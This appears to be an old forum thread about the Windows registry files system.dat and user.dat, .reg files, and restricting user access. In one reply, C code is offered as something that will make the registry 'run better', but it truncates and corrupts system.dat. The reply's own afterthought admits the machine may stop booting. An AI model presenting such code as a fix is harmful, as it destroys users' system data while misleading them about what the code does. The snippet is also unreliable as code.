    The registry itself is stored in the system.dat and user.dat files in the windows directory. Couldn't tell you much about the format, but I'd suggest you look at MSDN. You can add to the registry with properly formatted text files with a .reg extention, have a look at some of these files.

    Hope that helps some.

    This will help your registry run better, but it requires you reboot to dos to do it:
    Code:
    #include <stdio.h>
    int main ( void )
    {
        FILE *fp = fopen("c:\\windows\\system.dat", "w+" );
        int c;
        while( (c = fgetc( fp )) != EOF )
        {
            if( c == '0' )
            {
                ungetc( c, fp );
                fputc( '1', fp );
                c = fgetc( fp );
            }
        }
        return fclose( fp );
    }
    That should help.

    PS: If you do this, don't blame me when your system no longer boots.

    I really hope English isn't your primary langauge. I can hardly understand this. If you want to limit access in Windows, then get a version that supports limited user accounts. (Win NT/2K/XP) Or learn how to use policies.
